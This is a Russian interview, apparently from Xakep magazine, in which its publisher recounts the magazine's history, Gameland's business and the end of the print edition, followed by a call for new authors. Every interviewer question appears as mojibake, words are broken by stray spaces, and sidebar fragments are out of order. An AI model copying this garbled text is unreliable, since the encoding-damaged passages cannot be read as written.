— Реак ция была момен таль ной. Сра зу же начались звон ки от круп ных компь- 
ютер ных ком паний, которые гро зили отпра вить нас за решет ку. Я пом ню, хозя- 
ин одной круп ной компь ютер ной сети зво нил мне и кри чал: «Ты хочешь, что бы
изна сило вали твою пят надца тилет нюю дочь?!», имея в виду, что мы тут тоже
занима емся кри мина лом — учим людей взла мывать и вооду шев ляем на это.
Мне зво нили сот рудни ки орга нов, на меня заводи ли дела, вызыва ли на доп- 
росы. Но при этом был и вос торг со сто роны читате лей!

— Âû íè÷åãî òàêîãî íå îæèäàëè?
— Я это го хотел! Это работа ло на нашу извес тность и под твержда ло, что про- 
тест нас тоящий, искрен ний. Я в биз несе с девянос тых, и доп росами меня было
не испу гать. Да и суд не озна чал, что нас зак роют. Мы выиг рывали эти суды
и про дол жали работать.

— Ýòî íà÷àëîñü ñ ïåðâîãî æå íîìåðà? Òîãî ñàìîãî, ãäå áûëè
ñïëîøíûå èãðû è ÷èò-êîäû ê íèì?
— Имен но. И я тог да решил, что хочу поболь ше жес ти и хар дко ра. Пус кай зво- 
нят, пус кай судят ся! Нам от это го толь ко луч ше.

— Êàê ïðîäàâàëñÿ ïåðâûé íîìåð «Õàêåðà»?
— Это не было ни великим про валом, ни каким-то огромным дос тижени ем.
Мы сра зу выш ли в при быль, но неболь шую.

Продолжение статьи →
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О ТОМ, КАК СОЗДАВАЛСЯ «ХАКЕР»

GEEK  НАЧАЛО СТАТЬИ←

ËÅÃÅÍÄÛ

— Ðàññêàæè ïîäðîáíåå ïðî Ïîêðîâñêîãî.
— С виду Сер гей был худень кий, акку рат нень кий парень. Обла дал огромной
энер гией. Я счи таю, что он вхо дил если не в топ-100, то в топ-1000 важ ней ших
для стра ны людей. Как еще недав но Юрий Дудь.

— Â 2002 ãîäó Ñèíòåç ïåðåñòàë áûòü ãëàâðåäîì «Õàêåðà», ïîëó÷èë
ïîâûøåíèå è ñòàë èçäàòåëåì. Êàê ýòî áûëî?
— Мне казалось, что все люди дол жны рас ти, делать биз нес. Я пред ложил
Сер гею: «Давай изда вать дру гие жур налы на тему компь юте ров и IT». Меш- 
ками при ходи ли пись ма, часть из них я читал. Кто-то из под писчи ков хотел лег- 
кого чти ва, но некото рые — чего-то посерь езнее. Казалось, есть раз ные пот- 
ребнос ти и для каж дой груп пы мож но сде лать отдель ное изда ние. Для сугубо
айтиш ников мы тог да сде лали «Хакер Спец».

— Êîãî åùå ìîæåøü âñïîìíèòü èç òîãäàøíèõ ñîòðóäíèêîâ? Ó âàñ
æå áûëè ÿðêèå ëè÷íîñòè. Ê ïðèìåðó, èçâåñòíûé íûíå Äìèòðèé
Ïó÷êîâ íà÷èíàë â «Õàêåðå».
— В то вре мя я уже не вни кал в дела редак ции, и все это шло нем ного парал- 
лель но. Все го я запус тил поряд ка 80 жур налов, и детали стер лись из памяти.
С Пуч ковым пом ню, что встре чал ся и раз говари вал, — он был взрос лым серь- 
езным дядь кой в отли чие от мно гих сот рудни ков. Шепова лова тоже пом ню
по кор поратив ным вечерин кам, вос хищал ся его твор чес твом, но при вел его
не я. Я тог да толь ко сле дил за общей кон цепци ей.

Офис Gameland на ули це Льва Тол сто го, 2004 год

— Ïî îùóùåíèÿì ðåäàêöèÿ «Õàêåðà» ñèëüíî îòëè÷àëàñü îò
ðåäàêöèè «Ñòðàíû èãð»?
— Конеч но! В «Хакере» был совер шенно уни каль ный движ няк, ни с чем невоз- 
можно срав нивать. А в «Стра не игр» были куда более мяг кие ребята, я бы даже
ска зал, неж ные.

— ß âû÷èòàë â ëåòîïèñÿõ, ÷òî ðåäàêöèÿ ìåíÿëà ÷èòàòåëÿì
ðåäàêöèîííûå ýêçåìïëÿðû æóðíàëîâ íà ïèâî. Òû ïðî ýòî ñëûøàë?
— Про такое я не слы шал. Но жур налов при езжал целый гру зовик, редак ции
давали столь ко, сколь ко они про сили. Тог да я бы, навер ное, пре сек такой
обмен, если бы узнал.

— Â ÷åì, ïî òâîåìó ìíåíèþ, óäà÷à «Õàêåðà» â ðàííèå âðåìåíà? Â
÷åì ïîâåçëî?
— Такого жур нала, как «Хакер», не было ниг де в мире! В «Хакере» сош лась
акту аль ная кон цепция, силь ный кон тент и яркие эмо ции. Такое прос то не мог- 
ло не сра ботать! Тем более эко номи ка стра ны и рос сий ская ИТ-индус трия тог- 
да рос ли бешены ми тем пами. Мы про тес товали, раз вле кались, отры вались, я
все это поощ рял.

ÁÎËÜØÎÉ «ÃÅÉÌËÅÍÄ»

— Íî â òî æå âðåìÿ ìíå âñòðåòèëàñü èñòîðèÿ ïðî ïàðíÿ ñ
íèêíåéìîì Õèíò, êîòîðûé îòâå÷àë çà âûïóñê æóðíàëà, ñîðâàë ñðîê
è áûë îøòðàôîâàí àæ íà 18 çàðïëàò è óâîëåí. Ïîìíèøü òàêîå?
— Клич ку пом ню, эпи зод — нет, но такие исто рии бывали. Про 18 зар плат,
конеч но, пре уве личе ние, но штра фы у нас были, и ини циато ром здесь был я.
В фин ской типог рафии не хотели работать с рос сий ски ми кли ента ми, потому
что те час то наруша ли гра фик. Я взял на себя обя затель ство соб людать все
сро ки, и это поз волило сни зить цену печати. Ведь дорогос тоящее обо рудо- 
вание не может прос таивать, и гру зови ки тоже ездят по гра фику. Я соз дал
культ сво евре мен ной сда чи, мы написа ли свой софт — Scanmail (Боря Сквор- 
цов над ним работал), и на трид цати телеви зорах по все му офи су мож но было
видеть, как и ког да сда ется каж дый жур нал. По той же при чине я вво дил штра- 
фы за любую фиг ню, вклю чая опоз дание на работу. Дол лар в минуту. Это учи- 
тыва лось авто мати чес ки — через СКУД и бей джи. В резуль тате мы всег да сда- 
вали жур налы вов ремя, и эти уси лия оку пались. На нас мог ли положить ся
и типог рафия, и сис тема рас простра нения. Сис тема работа ла!

Gameland, новый офис на Авто завод ской, «Мега Пла за», 2009 год

— Æóðíàëû â êàêîé-òî ìîìåíò ñòàëè âûõîäèòü ñ äèñêàìè. Êàê âû ê
ýòîìó ïðèøëè?
— Пер вым жур налом с дис ком была «Стра на игр». Я эту идею под смот рел
на Западе и захотел внед рить у нас. Я поп росил у Sony дать нам воз можность
делать дис ки для жур нала на их заводе. Дис ки для пер вой PlayStation были
с чер ной рабочей повер хностью, и такие же пер вые три раза при лага лись
к выпус кам «Стра ны игр». Уви дев, какой мощ ней ший спрос добав ляет наличие
дис ка, мы ста ли вкла дывать дис ки и в «Хакер». И записы вали туда кучу вся ких
прог рамм. Интернет у людей был пло хой, а у кого-то и вооб ще не было, так что
для них это было воз можностью получить дос туп к новым прог раммам.

— Äèñêè òîæå ïå÷àòàëè â Ôèíëÿíäèè?
— Сна чала в США, потом в Фин ляндии. Было очень удоб но, что в одной стра- 
не печата ли и жур нал, и диск и они при ходи ли упа кован ными. Но потом вве ли
пош лины и НДС на ком пакт-дис ки. Мы ста ли их печатать в Рос сии и наш ли
под рядчи ка, который орга низо вал упа ков ку. Понача лу сто яли тетень ки, рас кры- 
вали пакеты с жур налами, кла ли дис ки и запако выва ли обратно. Поз же мы
помог ли под рядчи ку при обрести и внед рить быс трое сов ремен ное обо рудо- 
вание.

— Êàê â òå âðåìåíà âûãëÿäåëà ðåäàêöèÿ? Ñòàëà áîëüøå?
— Коман да всег да была неболь шой. Мне нра вил ся вари ант с фри лан сом, и я
был про тив внут ренних авто ров. Написал — зап латили, написал еще — зап- 
латили еще. Тог да было популяр но вмес то это го набирать всех в штат.
Не толь ко у нас, но и в США. Ког да я был на экскур сии в Wired и PC World, то
был поражен, что у них в редак ции сидит по 80 человек. У нас пять человек
дела ют жур нал!

— Òàêîé øòàò áûë òîëüêî â «Õàêåðå»?
— Так было во всех моих жур налах — кос тяк редак торов и внеш ние авто ры.
Сей час, навер ное, ник то ина че и не дела ет, а тог да это было немыс лимо,
это была револю ция. Умни ки с жур фака пытались мне объ яснить, что нуж но
взять всех в штат. Я не сог лашал ся.

— Â 2006 ãîäó áûë ðåäèçàéí â áîëåå ñïîêîéíîì êëþ÷å. Òâîÿ
èíèöèàòèâà èëè òîãäàøíåãî ãëàâðåäà — Íèêèòû Êèñëèöèíà?
— Я тог да понял, что пора закан чивать про тест и перехо дить в более спо кой- 
ный фор мат. Про тест не может длить ся бес конеч но, ина че инте рес гас нет.
И мы ста ли дви гать ся в сто рону хар дкор ного тех ничес кого изда ния.

Ни кита Кис лицын и Сте па Иль ин

— Ó âàñ áûëî ìíîãî ñòîðîííèõ ïðîåêòîâ, íàïðèìåð ýíåðãåòèê
«Õàêåð» ÷àñòî âñïîìèíàþò (êàê óæàñíóþ äðÿíü, êñòàòè).
— Слу шай, ну я роман тичный пред при нима тель! Встре тил что-то на Западе,
пон равилось, ска зал: «А давай!». Чем боль ше движ няка, тем боль ше шан сов,
что что-то получит ся. Я, кста ти, брал себе этот энер гетик упа ков ками, и мне он
дрянью не казал ся. Осо бен но нра вил ся ори гиналь ный дизайн — с проз рачной
бан кой.

— Â ðàéîíå 2006 ãîäà áûëè âñÿêèå àêòèâíîñòè, òèïà ôóòáîëà è
ñòðàéêáîëà ñ ÷èòàòåëÿìè. Òâîÿ çàòåÿ èëè êîìàíäû?
— Не пом ню — ско рее, не моя. Но я всег да поощ рял встре чи с людь ми. Как ни
стран но, боль шинс тво глав редов избе гали встреч с читате лями. Меня
это всег да поража ло. Хотели для них писать, но слу шать и смот реть в гла за
сво ей ауди тории не хотели.

«ÐÅÊËÀÌÍÀß ÁÎËÅÇÍÜ»

— Êàê è êóäà â èòîãå óøåë Ïîêðîâñêèé?
— О, я очень хорошо пом ню, как это было. В середи не нулевых был мощ ный
подъ ем биз неса. Денег было мно го, все накупи ли дорогих машин, и зар пла ты
по 3-5, даже 10 тысяч дол ларов были нор мой. Пок ров ский очень хотел
работать с богаты ми рек ламода теля ми. Тог да это ста ло горячей темой в изда- 
тель стве, пос коль ку они давали сра зу мно го денег. У кон курен тов был мега- 
успешный жур нал «Т3» — про гад жеты. Сер гей решил, что под рек ламные кон- 
трак ты хорошо будет открыть лай фстай ловый жур нал, свя зан ный с тех нологи- 
ями. Типа аме рикан ско го Wired, но лицен зию на Wired нам не дали. Мы выб- 
рали изда тель ство Ziff Davis, у них был похожий жур нал Sync. Пок ров ский убе- 
дил меня дать ему пол милли она дол ларов на запуск рус ско го Sync. Сей час я
понимаю, что пос тупил неп равиль но. Я не верил в эту идею и день ги дал прос- 
то, что бы доказать, что она не сра бота ет.

Sync за март 2006 года

— È Sync íå ñðàáîòàë?
— Нет. Исто рия вот какая. Через два месяца пос ле запус ка зак рылся аме- 
рикан ский Sync. Получи лось, что весь кон тент надо было делать самим. Поп- 
робова ли — не выш ло. Для Пок ров ско го это был удар по само оцен ке. Собс- 
твен но, я же сам всех аги тиро вал занимать ся биз несом, думать о при былях,
но в этом слу чае все пош ло не так. Пок ров ский в ито ге уво лил ся. Ког да мы
с ним пос ледний раз обща лись, у него было кре атив ное агентство, они делали
вещи, типа упа ковок для сока.

— Âîîáùå, ñèëüíî òîãäà çàïðîñû ðåêëàìîäàòåëåé âëèÿëè íà òî,
÷òî âû äåëàëè?
— В самом начале, в 1998 году рынок рек ламы игр как раз схлоп нулся и все
день ги мы получа ли от читате лей. Мне нра вилась такая модель! В слу чае
с «Хакером» она отлично работа ла, потому что не нуж но было убла жать никаких
рек ламода телей и подс тра ивать ся под их желания. Я понимал, что либо мы
пишем про взлом, либо прев раща емся в рек ламную помой ку. Но зараза рек- 
ламы таки про ник ла в Gameland. Ког да от нее зависит полови на при были,
хочешь не хочешь, при ходит ся учи тывать это. И я слу шал людей, которые
говори ли, что то и это нель зя писать, потому что не дадут рек ламу. Впро чем,
«Хакер» по боль шей час ти все го это го избе жал, и я спе циаль но защищал его.
Если «Хакер» пишет про взлом про дук та круп ного вен дора и тот отзы вает рек- 
ламу у все го «Гей млен да», я мог погово рить с редак цией о том, как обой ти
такие ситу ации, прив лекал юрис та для кон суль таций и так далее. Но никог да
не зап рещал писать о взло ме.

— Ñî âðåìåíåì ïðèáûëü îò ðåêëàìû ñòàëà óãàñàòü?
— Вооб ще говоря, «Хакер» никог да не при носил ощу тимой при были. Имен но
поэто му, кста ти, я не мог себе поз волить им плот но занимать ся. В 2008 году
мы еще выходи ли в ноль, а вот к 2012–2013 годам рек ламы ста ло сов сем
мало. Ска зыва лись в том чис ле новые законы. В 2012 году у нас исчезло две
тре ти при были из-за зап рета рек ламы сигарет и алко голя. У нас же все жур- 
налы были спе циали зиро ван ные и нацелен ные на муж скую ауди торию, и без
это го нам было не выжить.

ÒÎËÜÊÎ ÖÈÔÐÀ

— Êîãäà òû áðàë ìåíÿ íà ðàáîòó â 2015 ãîäó, óæå áûëî èçâåñòíî î
òîì, ÷òî áóìàæíàÿ âåðñèÿ «Õàêåðà» âîò-âîò çàêðîåòñÿ. ×òî ê ýòîìó
ïîäòîëêíóëî?
— Я никог да не дер жался за «бумагу», даже в самом начале. Собс твен но, я
готов был зак рывать ее, как толь ко два-три номера ста ли бы убы точ ными.
В 2014 году был кри зис, потом зак рыли две тре ти ларь ков, и мы от это го пос- 
тра дали боль ше всех, потому что не мог ли пла тить за при сутс твие на пол ках.
Нам сре ди «Известий» и «Ком сомоль ских правд» было прос то не мес то. Я счи- 
таю, что даже в 2008 году не име ло смыс ла спа сать «бумагу». Медиа гло баль- 
но изме нились, бумаж ные жур налы ста ли не нуж ны, а потом добави лись дру- 
гие фак торы — новые рос сий ские законы, сла бая эко номи ка и так далее. Поди
сох рани биз нес в таких усло виях!

— Íî çàêðûâàòü ñàì «Õàêåð» òû íå ïëàíèðîâàë?
— Так воп рос не сто ял никог да. У меня дав но были на него пла ны — я хотел
перек лючить его на плат ное циф ровое рас простра нение. Мне хотелось делать
кру той кон тент для рас тущей кру той индус трии, такой, что бы за него пла тили
про фи. Из всех жур налов единс твен ным кан дидатом был «Хакер». Ни фут бол,
ни компь ютер ные игры для это го не годились.

Пер вая вер сия Xakep.ru с плат ной под пиской, 2015 год

— Êàê ðåäàêöèÿ îòðåàãèðîâàëà íà âåñòü î çàêðûòèè «áóìàãè»?
— Редак ция это го не хотела. Думаю, боялась, что их кон тент ока жет ся недос- 
таточ но качес твен ным, что бы его покупа ли. Собс твен но, та редак ция поч ти вся
раз бежалась. Я же не сом невал ся, что наш кон тент кру той и его будут
покупать. Поэто му пос ледние годы я тре бовал поболь ше хар дко ра. Про фес- 
сиональ ные учеб ные матери алы сей час нуж ны — для работы. В отли чие
от рас ска зов о том, как кто-то играл в игру. Парадиг ма сме нилась, и обмен
впе чат лени ями теперь денег не сто ит, а вот цен ная информа ция для спе- 
циалис тов, наобо рот, сто ит!



«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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